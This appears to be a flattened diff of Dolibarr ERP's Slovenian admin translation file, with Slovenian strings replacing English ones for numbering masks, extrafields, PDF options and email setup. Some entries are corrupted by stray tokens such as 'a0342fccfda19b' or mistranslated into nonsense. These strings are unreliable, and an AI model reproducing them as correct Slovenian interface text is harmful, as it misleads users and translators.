      %s +SetupIsReadyForUse=Namestitev modula je končana. Vendar pa morate omogočiti in nastaviti modul v svoji aplikaciji tako, da obiščete module za nastavitev strani: %s . +NotExistsDirect=Alternativni korenski imenik ni definiran za obstoječi imenik.
      +InfDirAlt=Od različice 3 naprej je mogoče definirati alternativni korenski imenik. To vam omogoča shranjevanje vtičnikov in predlog po meri v namenski imenik.
      Samo ustvarite imenik v korenu Dolibarr (npr.: custom).
      +InfDirExample=
      Then declare it in the file conf.php
      $dolibarr_main_url_root_alt='/custom'
      $dolibarr_main_document_root_alt='/path/of/dolibarr/htdocs/custom'
      If these lines are commented with "#", to enable them , samo odkomentirajte tako, da odstranite znak "#". +YouCanSubmitFile=Datoteko .zip paketa modula lahko naložite tukaj: CurrentVersion=Trenutna različica Dolibarr -CallUpdatePage=Browse to the page that updates the database structure and data: %s. -LastStableVersion=Latest stable version -LastActivationDate=Latest activation date -LastActivationAuthor=Latest activation author -LastActivationIP=Latest activation IP -LastActivationVersion=Latest activation version +CallUpdatePage=Prebrskajte do strani, ki posodablja strukturo baze podatkov in podatke: %s. +LastStableVersion=Najnovejša stabilna različica +LastActivationDate=Zadnji datum aktivacije +LastActivationAuthor=Avtor zadnje aktivacije +LastActivationIP=Zadnji aktivacijski IP +LastActivationVersion=Najnovejša aktivacijska različica UpdateServerOffline=Posodobitev strežnika brez povezave -WithCounter=Manage a counter -GenericMaskCodes=You may enter any numbering mask. In this mask, the following tags can be used:
      {000000} corresponds to a number which will be incremented on each %s. Enter as many zeros as the desired length of the counter. The counter will be completed by zeros from the left in order to have as many zeros as the mask.
      {000000+000} same as the previous one but an offset corresponding to the number to the right of the + sign is applied starting on the first %s.
      {000000@x} same as the previous one but the counter is reset to zero when month x is reached (x between 1 and 12, or 0 to use the early months of fiscal year defined in your configuration, or 99 to reset to zero every month). If this option is used and x is 2 or higher, then the sequence {yy}{mm} or {yyyy}{mm} is also required.
      {dd} day (01 to 31).
      {mm} month (01 to 12).
      {yy}, {yyyy} or {y} year over 2, 4 or 1 numbers.
      -GenericMaskCodes2={cccc} the client code on n characters
      {cccc000} the client code on n characters is followed by a counter dedicated to the customer. This counter dedicated to customer is reset at same time as the global counter.
      {tttt} The code of third party type on n characters (see menu Home - Setup - Dictionary - Types of third parties). If you add this tag, the counter will be different for each type of third party.
      +WithCounter=Upravljajte števec +GenericMaskCodes=Vnesete lahko poljubno masko oštevilčenja. V tej maski je mogoče uporabiti naslednje oznake:
      {000000} ustreza številu, ki bo povečano za vsak %s. Vnesite toliko ničel, kolikor je želene dolžine števca. Števec bo dopolnjen z ničlami z leve, da bo imel toliko ničel kot maska.
      {000000+000} enako kot prejšnji, vendar se odmik, ki ustreza številu desno od znaka +, uporabi začenši s prvim %s.
      {000000@x} enako kot prejšnji, vendar se števec ponastavi na nič, ko je dosežen mesec x (x med 1 in 12 ali 0 za uporabo prvih mesecev proračunskega leta, definiranih v vaši konfiguraciji, ali 99 za vsak mesec ponastavite na nič). Če je ta možnost uporabljena in je x 2 ali višji, je potrebno tudi zaporedje {yy}{mm} ali {yyyy}{mm}.
      {dd} dan (01 do 31).
      {mm} mesec (01 do 12).
      {yy} , {yyyy} ali {y} , 4 številka nad letom, 4 leta nad.
      +GenericMaskCodes2= {cccc} koda odjemalca na n znakih
      {cccc000} znaku sledi koda odjemalca, namenjena števcu. Ta števec, namenjen partnerju, se ponastavi istočasno kot globalni števec.
      {tttt} Koda vrste partnerja na n znakov (glejte meni Domov - Nastavitve - Slovar - Vrste tretjih oseb). Če dodate to oznako, bo števec drugačen za vsakega partnerja.
      GenericMaskCodes3=Vsi ostali znaki v maski bodo ostali nedotaknjeni.
      Presledki niso dovoljeni.
      -GenericMaskCodes3EAN=All other characters in the mask will remain intact (except * or ? in 13th position in EAN13).
      Spaces are not allowed.
      In EAN13, the last character after the last } in 13th position should be * or ? . It will be replaced by the calculated key.
      -GenericMaskCodes4a=Example on the 99th %s of the third party TheCompany, with date 2007-01-31:
      +GenericMaskCodes3EAN=Vsi drugi znaki v maski bodo ostali nedotaknjeni (razen * ali ? na 13. mestu v EAN13).
      Presledki niso dovoljeni.
      V EAN13 mora biti zadnji znak za zadnjim } na 13. mestu * ali ? . Nadomestil ga bo izračunani ključ.
      +GenericMaskCodes4a= Primer na 99. %s partner Podjetje z datumom 2007-01-31:
      GenericMaskCodes4b=Primer partnerja 99, kreiranega 2007-03-01:
      GenericMaskCodes4c=Primer proizvoda, kreiranega 2007-03-01:
      -GenericMaskCodes5=ABC{yy}{mm}-{000000} will give ABC0701-000099
      {0000+100@1}-ZZZ/{dd}/XXX will give 0199-ZZZ/31/XXX
      IN{yy}{mm}-{0000}-{t} will give IN0701-0099-A if the type of company is 'Responsable Inscripto' with code for type that is 'A_RI' +GenericMaskCodes5= ABC{yy}{mm}-{000000} will give ABC0701-000099
      {0000+100@1}-ZZZ/{dd}/XXX will give 0199-ZZZ/31/XXX
      IN{yy}{mm}-{0000}-{t} bo dal IN0701-0099-A , če je vrsta podjetja 'Responsable Inscripto' s kodo za vrsto, ki je 'A_RI' GenericNumRefModelDesc=Predlaga prilagodljivo številko glede na definirano masko. ServerAvailableOnIPOrPort=Strežnik je na voljo na naslovu %s na vratih %s ServerNotAvailableOnIPOrPort=Strežnik ni na voljo na naslovu %s na vratih %s @@ -375,332 +375,342 @@ DoTestSendHTML=Testno pošiljanje HTML ErrorCantUseRazIfNoYearInMask=Napaka, ni možno uporabiti opcije @, za vsakoletno resetiranje števca, če sekvence {yy} ali {yyyy} ni v maski. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Napaka, ni možno uporabiti opcije @, če sekvence {yy}{mm} ali {yyyy}{mm} ni v maski. UMask=UMask parameter za nove datoteke na Unix/Linux/BSD datotečnem sistemu. -UMaskExplanation=Ta parameter omogoča definicijo privzetih dovoljenj za datoteke na strežniku, ki jih je kreiral Dolibarr (na primer med nalaganjem).
      Vrednost je oktalna (na primer, 0666 pomeni branje in pisanje za vse).
      Tega parametra ni na Windows strežniku. -SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. +SeeWikiForAllTeam=Oglejte si stran Wiki za seznam sodelavcev in njihove organizacije UseACacheDelay= Zakasnitev predpomnilnika za izvozni odziv v sekundah (0 ali prazno pomeni, da ni predpomnilnika) -DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page -DisableLinkToHelp=Hide the link to the online help "%s" -AddCRIfTooLong=There is no automatic text wrapping, text that is too long will not display on documents. Please add carriage returns in the text area if needed. -ConfirmPurge=Are you sure you want to execute this purge?
      This will permanently delete all your data files with no way to restore them (ECM files, attached files...). +DisableLinkToHelpCenter=Skrij povezavo " Potrebujem pomoč ali podporo " na strani za prijavo +DisableLinkToHelp=Skrij povezavo do spletne pomoči " %s " +AddCRIfTooLong=Samodejnega prelivanja besedila ni, predolgo besedilo ne bo prikazano na dokumentih. Če je potrebno, v besedilno območje dodajte vračilo na prvi red. +ConfirmPurge=Ali ste prepričani, da želite izvesti to čiščenje?
      S tem boste trajno izbrisali vse vaše podatkovne datoteke, ne da bi jih bilo mogoče obnoviti (datoteke ECM, priložene datoteke ...). MinLength=Minimalna dolžina LanguageFilesCachedIntoShmopSharedMemory=Datoteke .lang naložene v spomin v skupni rabi -LanguageFile=Language file -ExamplesWithCurrentSetup=Examples with current configuration +LanguageFile=Jezikovna datoteka +ExamplesWithCurrentSetup=Primeri s trenutno konfiguracijo ListOfDirectories=Seznam map z OpenDocument predlogami ListOfDirectoriesForModelGenODT=Seznam map, ki vsebujejo predloge v OpenDocument formatu.

      Tukaj navedite celotno pot do mape.
      Med mapami vstavite CR.
      Mapo GED modula dodajte tukaj DOL_DATA_ROOT/ecm/yourdirectoryname.

      Datoteke v tej mapi morajo imeti končnico .odt ali .ods. -NumberOfModelFilesFound=Number of ODT/ODS template files found in these directories -ExampleOfDirectoriesForModelGen=Examples of syntax:
      c:\\myapp\\mydocumentdir\\mysubdir
      /home/myapp/mydocumentdir/mysubdir
      DOL_DATA_ROOT/ecm/ecmdir +NumberOfModelFilesFound=Število datotek predlog ODT/ODS, najdenih v teh imenikih +ExampleOfDirectoriesForModelGen=Primeri sintakse:
      c:\\myapp\\mydocumentdir\\mysubdir
      /home/myapp/mydocumentdir/mysubdir
      DOL_DATA_ROOT/ecm/ecmdir FollowingSubstitutionKeysCanBeUsed=Z dodatkom takih oznak v predlogo, boste ob kreiranju dokumenta dobili personalizirane vrednosti: FullListOnOnlineDocumentation=http://wiki.dolibarr.org FirstnameNamePosition=Položaj imena/priimka -DescWeather=The following images will be shown on the dashboard when the number of late actions reach the following values: +DescWeather=Ko število zapoznelih dejanj doseže naslednje vrednosti, bodo na nadzorni plošči prikazane naslednje slike: KeyForWebServicesAccess=Ključi za uporabo Web storitev (parameter "dolibarrkey" v internetnih storitvah) TestSubmitForm=Vnos testnega obrazca -ThisForceAlsoTheme=Using this menu manager will also use its own theme whatever the user choice. Also this menu manager specialized for smartphones does not work on all smartphone. Use another menu manager if you experience problems with yours. +ThisForceAlsoTheme=Uporaba tega upravitelja menijev bo uporabila tudi lastno temo, ne glede na izbiro uporabnika. Tudi ta upravitelj menijev, specializiran za pametne telefone, ne deluje na vseh pametnih telefonih. Uporabite drugega upravitelja menijev, če imate težave s svojim. ThemeDir=Mapa s preoblekami -ConnectionTimeout=Connection timeout +ConnectionTimeout=Časovna omejitev povezave ResponseTimeout=Časovna omejitev odziva SmsTestMessage=Testno sporočilo od __PHONEFROM__ za __PHONETO__ ModuleMustBeEnabledFirst=Če potrebujete to funkcijo, morate najprej omogočiti Modul %s. SecurityToken=Ključ za šifriranje url -NoSmsEngine=No SMS sender manager available. A SMS sender manager is not installed with the default distribution because they depend on an external vendor, but you can find some on %s +NoSmsEngine=Pošiljanje SMS ni na voljo. Upravitelj pošiljanja SMS ni nameščen s privzeto distribucijo, ker je odvisen od zunanjega prodajalca, vendar ga lahko najdete nekaj na %s PDF=PDF -PDFDesc=Global options for PDF generation -PDFOtherDesc=PDF Option specific to some modules -PDFAddressForging=Rules for address section -HideAnyVATInformationOnPDF=Hide all information related to Sales Tax / VAT -PDFRulesForSalesTax=Rules for Sales Tax / VAT -PDFLocaltax=Rules for %s -HideLocalTaxOnPDF=Hide %s rate in column Sale Tax / VAT -HideDescOnPDF=Hide products description -HideRefOnPDF=Hide products ref. -HideDetailsOnPDF=Hide product lines details -PlaceCustomerAddressToIsoLocation=Use french standard position (La Poste) for customer address position +PDFDesc=Globalne možnosti za ustvarjanje PDF +PDFOtherDesc=Možnost PDF, značilna za nekatere module +PDFAddressForging=Pravila za razdelek naslovov +HideAnyVATInformationOnPDF=Skrij vse informacije v zvezi s prometnim davkom/DDV +PDFRulesForSalesTax=Pravila za prometni davek / DDV +PDFLocaltax=Pravila za %s +HideLocalTaxOnPDF=Skrij stopnjo %s v stolpcu Prometni davek / DDV +HideDescOnPDF=Skrij opis izdelkov +HideRefOnPDF=Skrij izdelke ref. +HideDetailsOnPDF=Skrij podrobnosti o linijah izdelkov +PlaceCustomerAddressToIsoLocation=Uporabite francoski standardni položaj (La Poste) za položaj naslova stranke Library=Knjižnica UrlGenerationParameters=Parametri za zagotovitev URL SecurityTokenIsUnique=Uporabite edinstven parameter securekey za vsako URL EnterRefToBuildUrl=Vnesite sklic za predmet %s GetSecuredUrl=Get izračuna URL -ButtonHideUnauthorized=Hide unauthorized action buttons also for internal users (just greyed otherwise) +ButtonHideUnauthorized=Skrij nepooblaščene gumbe za dejanja tudi za interne uporabnike (samo drugače obarvani) OldVATRates=Stara stopnja DDV NewVATRates=Nova stopnja DDV PriceBaseTypeToChange=Sprememba cen z definirano osnovno referenčno vrednostjo -MassConvert=Launch bulk conversion -PriceFormatInCurrentLanguage=Price Format In Current Language +MassConvert=Zaženi množično pretvorbo +PriceFormatInCurrentLanguage=Oblika cene v trenutnem jeziku String=Niz -String1Line=String (1 line) +String1Line=Niz (1 vrstica) TextLong=Dolgo besedilo -TextLongNLines=Long text (n lines) -HtmlText=Html text +TextLongNLines=Dolgo besedilo (n vrstic) +HtmlText=Html besedilo Int=Celo število Float=Plavajoče DateAndTime=Datum in ura Unique=Enoličen -Boolean=Boolean (one checkbox) +Boolean=Logična vrednost (eno potrditveno polje) ExtrafieldPhone = Telefon ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Cena z valuto ExtrafieldMail = E-pošta -ExtrafieldUrl = Url +ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Izberi seznam ExtrafieldSelectList = Izberi iz tabele -ExtrafieldSeparator=Separator (not a field) +ExtrafieldSeparator=Ločilo (ne polje) ExtrafieldPassword=Geslo -ExtrafieldRadio=Radio buttons (one choice only) -ExtrafieldCheckBox=Checkboxes -ExtrafieldCheckBoxFromList=Checkboxes from table +ExtrafieldRadio=Izbirni gumbi (samo ena izbira) +ExtrafieldCheckBox=Potrditvena polja +ExtrafieldCheckBoxFromList=Potrditvena polja iz tabele ExtrafieldLink=Poveži z objektom -ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' -Computedpersistent=Store computed field -ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! -ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) -ExtrafieldParamHelpselect=List of values must be lines with format key,value (where key can't be '0')

      for example:
      1,value1
      2,value2
      code3,value3
      ...

      In order to have the list depending on another complementary attribute list:
      1,value1|options_parent_list_code:parent_key
      2,value2|options_parent_list_code:parent_key

      In order to have the list depending on another list:
      1,value1|parent_list_code:parent_key
      2,value2|parent_list_code:parent_key -ExtrafieldParamHelpcheckbox=List of values must be lines with format key,value (where key can't be '0')

      for example:
      1,value1
      2,value2
      3,value3
      ... -ExtrafieldParamHelpradio=List of values must be lines with format key,value (where key can't be '0')

      for example:
      1,value1
      2,value2
      3,value3
      ... -ExtrafieldParamHelpsellist=List of values comes from a table
      Syntax: table_name:label_field:id_field::filtersql
      Example: c_typent:libelle:id::filtersql

      - id_field is necessarly a primary int key
      - filtersql is a SQL condition. It can be a simple test (eg active=1) to display only active value
      You can also use $ID$ in filter which is the current id of current object
      To use a SELECT into the filter use the keyword $SEL$ to bypass anti-injection protection.
      if you want to filter on extrafields use syntax extra.fieldcode=... (where field code is the code of extrafield)

      In order to have the list depending on another complementary attribute list:
      c_typent:libelle:id:options_parent_list_code|parent_column:filter

      In order to have the list depending on another list:
      c_typent:libelle:id:parent_list_code|parent_column:filter -ExtrafieldParamHelpchkbxlst=List of values comes from a table
      Syntax: table_name:label_field:id_field::filtersql
      Example: c_typent:libelle:id::filtersql

      filter can be a simple test (eg active=1) to display only active value
      You can also use $ID$ in filter witch is the current id of current object
      To do a SELECT in filter use $SEL$
      if you want to filter on extrafields use syntax extra.fieldcode=... (where field code is the code of extrafield)

      In order to have the list depending on another complementary attribute list:
      c_typent:libelle:id:options_parent_list_code|parent_column:filter

      In order to have the list depending on another list:
      c_typent:libelle:id:parent_list_code|parent_column:filter -ExtrafieldParamHelplink=Parameters must be ObjectName:Classpath
      Syntax: ObjectName:Classpath -ExtrafieldParamHelpSeparator=Keep empty for a simple separator
      Set this to 1 for a collapsing separator (open by default for new session, then status is kept for each user session)
      Set this to 2 for a collapsing separator (collapsed by default for new session, then status is kept fore each user session) -LibraryToBuildPDF=Library used for PDF generation -LocalTaxDesc=Some countries may apply two or three taxes on each invoice line. If this is the case, choose the type for the second and third tax and its rate. Possible type are:
      1: local tax apply on products and services without vat (localtax is calculated on amount without tax)
      2: local tax apply on products and services including vat (localtax is calculated on amount + main tax)
      3: local tax apply on products without vat (localtax is calculated on amount without tax)
      4: local tax apply on products including vat (localtax is calculated on amount + main vat)
      5: local tax apply on services without vat (localtax is calculated on amount without tax)
      6: local tax apply on services including vat (localtax is calculated on amount + tax) +ComputedFormula=Računalniško polje +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +Computedpersistent=Shranite izračunano polje +ComputedpersistentDesc=Izračunana dodatna polja bodo shranjena v zbirki podatkov, vendar bo vrednost ponovno izračunana šele, ko bo predmet tega polja spremenjen. Če je izračunano polje odvisno od drugih objektov ali globalnih podatkov, je ta vrednost morda napačna!! +ExtrafieldParamHelpPassword=Če pustite to polje prazno, bo ta vrednost shranjena brez šifriranja (polje mora biti skrito samo z zvezdico na zaslonu).
      Nastavite »samodejno« za uporabo privzetega šifrirnega pravila za shranjevanje gesla v zbirko podatkov (takrat bo prebrana vrednost samo zgoščena vrednost, ni možnosti za pridobitev izvirne vrednosti) +ExtrafieldParamHelpselect=List of values must be lines with format key,value (where key can't be '0')

      for example:
      1,value1
      2,value2
      code3,value3
      ...

      In order to have the list depending on another complementary attribute list:
      1,value1|options_ parent_list_code :parent_key
      2,value2|options_ parent_list_code :parent_key

      In order to have the list depending on another list:
      1,value1| parent_list_code :parent_key
      2,value2| parent_list_code :parent_key +ExtrafieldParamHelpcheckbox=Seznam vrednosti mora biti vrstic z obliko ključ,vrednost (kjer ključ ne sme biti '0')

      na primer:
      1,vrednost1
      2,vrednost2
      3,vrednost3 a0342fccfda19b +ExtrafieldParamHelpradio=Seznam vrednosti mora biti vrstic z obliko ključ,vrednost (kjer ključ ne sme biti '0')

      na primer:
      1,vrednost1
      2,vrednost2
      3,vrednost3 a0342fccfda19b +ExtrafieldParamHelpsellist=Seznam vrednosti prihaja iz tabele
      Sintaksa: table_name:label_field:id_field::filtersql
      Primer: c_typent:libelle:id::filtersql

      - id_field je nujno primarni int ključ a0342bz0fda SQL filter is a0342fccfda Za prikaz samo aktivne vrednosti je lahko preprost preizkus (npr. active=1)
      V filtru lahko uporabite tudi $ID$, ki je trenutni ID trenutnega predmeta
      Za uporabo SELECT v filtru uporabite ključno besedo $SEL$ za bypass zaščita proti vbrizgu.
      če želite filtrirati dodatna polja, uporabite sintakso extra.fieldcode=... (kjer je koda polja koda dodatnega polja)

      Da bi bil seznam odvisen od drugega komplementarnega seznama atributov:
      c_typent:libelle:id:options_ parent_list_code |parent_column:filter

      In order to have the list depending on another list:
      c_typent:libelle:id: parent_list_code |parent_column:filter +ExtrafieldParamHelpchkbxlst=Seznam vrednosti prihaja iz tabele
      Sintaksa: table_name:label_field:id_field::filtersql
      Primer: c_typent:libelle:id::filtersql

      filter je lahko preprost test (npr. active=1), da prikaže samo aktivno vrednost a0342bzcc lahko uporabi tudi $ID$ v filtru, ki je trenutni id trenutnega predmeta
      Če želite izvesti SELECT v filtru, uporabite $SEL$
      , če želite filtrirati dodatna polja, uporabite sintakso extra.fieldcode=... (kjer je koda polja code of extrafield)

      In order to have the list depending on another complementary attribute list:
      c_typent:libelle:id:options_ parent_list_code |parent_column:filter

      In order to have the list depending on another list:
      c_typent: libelle:id: parent_list_code |parent_column:filter +ExtrafieldParamHelplink=Parametri morajo biti ObjectName:Classpath
      Sintaksa: ObjectName:Classpath +ExtrafieldParamHelpSeparator=Naj ostane prazno za preprosto ločilo
      Nastavite to na 1 za strnjeno ločilo (privzeto odprto za novo sejo, nato se status ohrani za vsako uporabniško sejo)
      Nastavite to na 2 za strnjeno ločilo (privzeto strnjeno za novo sejo, nato status se hrani za vsako uporabniško sejo) +LibraryToBuildPDF=Knjižnica, ki se uporablja za ustvarjanje PDF +LocalTaxDesc=Nekatere države lahko zaračunajo dva ali tri davke na vsako vrstico računa. V tem primeru izberite vrsto za drugi in tretji davek ter njegovo stopnjo. Možni tipi so:
      1: lokalni davek velja za izdelke in storitve brez DDV (lokalni davek je izračunan na znesek brez davka)
      2: lokalni davek velja za izdelke in storitve, vključno z DDV (lokalni davek je izračunan na znesek + glavni davek)
      3: lokalni davek velja za izdelke brez DDV (lokalni davek je izračunan na znesek brez davka)
      4: lokalni davek velja za izdelke, vključno z DDV (lokalni davek je izračunan na znesek + glavni DDV)
      5: lokalni davek velja za storitve brez DDV (lokalni davek je izračunan na znesek brez davka)
      6: lokalni davek velja za storitve, vključno z DDV (lokalni davek se izračuna na znesek + davek) SMS=SMS LinkToTestClickToDial=Vnesite telefonsko številko, na katero kličete za prikaz povezave za testiranje ClickToDial url za uporabnika %s RefreshPhoneLink=Osveži pšovezavo LinkToTest=Generiran link z možnostjo klika za uporabnika %s (kliknite številko telefona za testiranje) KeepEmptyToUseDefault=Pusti prazno za uporabo privzete vrednosti -KeepThisEmptyInMostCases=In most cases, you can keep this field empy. +KeepThisEmptyInMostCases=V večini primerov lahko to polje pustite prazno. DefaultLink=Privzeta povezava -SetAsDefault=Set as default +SetAsDefault=Nastavi na privzeto ValueOverwrittenByUserSetup=Pozor, ta vrednost bo morda prepisana s specifično nastavitvijo uporabnika (vsak uporabnik lahko nastavi lastno povezavo za klic s klikom) -ExternalModule=External module -InstalledInto=Installed into directory %s -BarcodeInitForThirdparties=Mass barcode init for third-parties +ExternalModule=Zunanji modul +InstalledInto=Nameščen v imenik %s +BarcodeInitForThirdparties=Masovni init črtne kode za tretje osebe BarcodeInitForProductsOrServices=Vzpostavitev ali resetiranje masovne črtne kode za proizvode in storitve -CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for the %s empty barcodes +CurrentlyNWithoutBarCode=Trenutno imate zapis %s na %s %s brez definirane črtne kode. +InitEmptyBarCode=Začetna vrednost za prazne črtne kode %s EraseAllCurrentBarCode=Zbrišite vse trenutne vrednosti črtnih kod -ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? +ConfirmEraseAllCurrentBarCode=Ali ste prepričani, da želite izbrisati vse trenutne vrednosti črtne kode? AllBarcodeReset=Vse vrednosti črtnih kod so bile odstranjene -NoBarcodeNumberingTemplateDefined=No numbering barcode template enabled in the Barcode module setup. -EnableFileCache=Enable file cache -ShowDetailsInPDFPageFoot=Add more details into footer, such as company address or manager names (in addition to professional ids, company capital and VAT number). -NoDetails=No additional details in footer -DisplayCompanyInfo=Display company address -DisplayCompanyManagers=Display manager names -DisplayCompanyInfoAndManagers=Display company address and manager names -EnableAndSetupModuleCron=If you want to have this recurring invoice generated automatically, module *%s* must be enabled and correctly setup. Otherwise, generation of invoices must be done manually from this template using the *Create* button. Note that even if you enabled automatic generation, you can still safely launch manual generation. Generation of duplicates for the same period is not possible. -ModuleCompanyCodeCustomerAquarium=%s followed by customer code for a customer accounting code -ModuleCompanyCodeSupplierAquarium=%s followed by vendor code for a vendor accounting code -ModuleCompanyCodePanicum=Return an empty accounting code. -ModuleCompanyCodeDigitaria=Returns a compound accounting code according to the name of the third party. The code consists of a prefix that can be defined in the first position followed by the number of characters defined in the third party code. -ModuleCompanyCodeCustomerDigitaria=%s followed by the truncated customer name by the number of characters: %s for the customer accounting code. -ModuleCompanyCodeSupplierDigitaria=%s followed by the truncated supplier name by the number of characters: %s for the supplier accounting code. -Use3StepsApproval=By default, Purchase Orders need to be created and approved by 2 different users (one step/user to create and one step/user to approve. Note that if user has both permission to create and approve, one step/user will be enough). You can ask with this option to introduce a third step/user approval, if amount is higher than a dedicated value (so 3 steps will be necessary: 1=validation, 2=first approval and 3=second approval if amount is enough).
      Set this to empty if one approval (2 steps) is enough, set it to a very low value (0.1) if a second approval (3 steps) is always required. -UseDoubleApproval=Use a 3 steps approval when amount (without tax) is higher than... -WarningPHPMail=WARNING: The setup to send emails from the application is using the default generic setup. It is often better to setup outgoing emails to use the email server of your Email Service Provider instead of the default setup for several reasons: -WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM -WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). -WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. -WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. -WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s -ClickToShowDescription=Click to show description -DependsOn=This module needs the module(s) -RequiredBy=This module is required by module(s) -TheKeyIsTheNameOfHtmlField=This is the name of the HTML field. Technical knowledge is required to read the content of the HTML page to get the key name of a field. -PageUrlForDefaultValues=You must enter the relative path of the page URL. If you include parameters in URL, the default values will be effective if all parameters are set to same value. -PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third party, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/", so use path like mymodule/mypage.php and not custom/mymodule/mypage.php.
      If you want default value only if url has some parameter, you can use %s -PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s -AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) -EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation -GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. -WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. +NoBarcodeNumberingTemplateDefined=V nastavitvah modula črtne kode ni omogočena nobena predloga črtne kode za oštevilčenje. +EnableFileCache=Omogoči predpomnilnik datotek +ShowDetailsInPDFPageFoot=V nogo dodajte več podrobnosti, kot je naslov podjetja ali imena upraviteljev (poleg poklicnih izkaznic, kapitala podjetja in številke za DDV). +NoDetails=V nogi ni dodatnih podrobnosti +DisplayCompanyInfo=Prikaz naslova podjetja +DisplayCompanyManagers=Prikaži imena upraviteljev +DisplayCompanyInfoAndManagers=Prikaži naslov podjetja in imena upraviteljev +EnableAndSetupModuleCron=Če želite, da se ta ponavljajoči se račun ustvari samodejno, mora biti modul *%s* omogočen in pravilno nastavljen. V nasprotnem primeru je potrebno generiranje računov izvesti ročno iz te predloge z uporabo gumba *Ustvari*. Upoštevajte, da tudi če ste omogočili samodejno ustvarjanje, lahko še vedno varno zaženete ročno ustvarjanje. Generiranje dvojnikov za isto obdobje ni možno. +ModuleCompanyCodeCustomerAquarium=%s, ki ji sledi šifra stranke za kodo računovodstva stranke +ModuleCompanyCodeSupplierAquarium=%s, ki mu sledi koda dobavitelja za računovodsko kodo dobavitelja +ModuleCompanyCodePanicum=Vrnite prazno računovodsko kodo. +ModuleCompanyCodeDigitaria=Vrne sestavljeno računovodsko kodo glede na ime partnerja. Koda je sestavljena iz predpone, ki jo je mogoče definirati na prvem mestu, ki ji sledi število znakov, določenih v kodi partnerja. +ModuleCompanyCodeCustomerDigitaria=%s, ki mu sledi skrajšano ime stranke s številom znakov: %s za kodo računovodstva stranke. 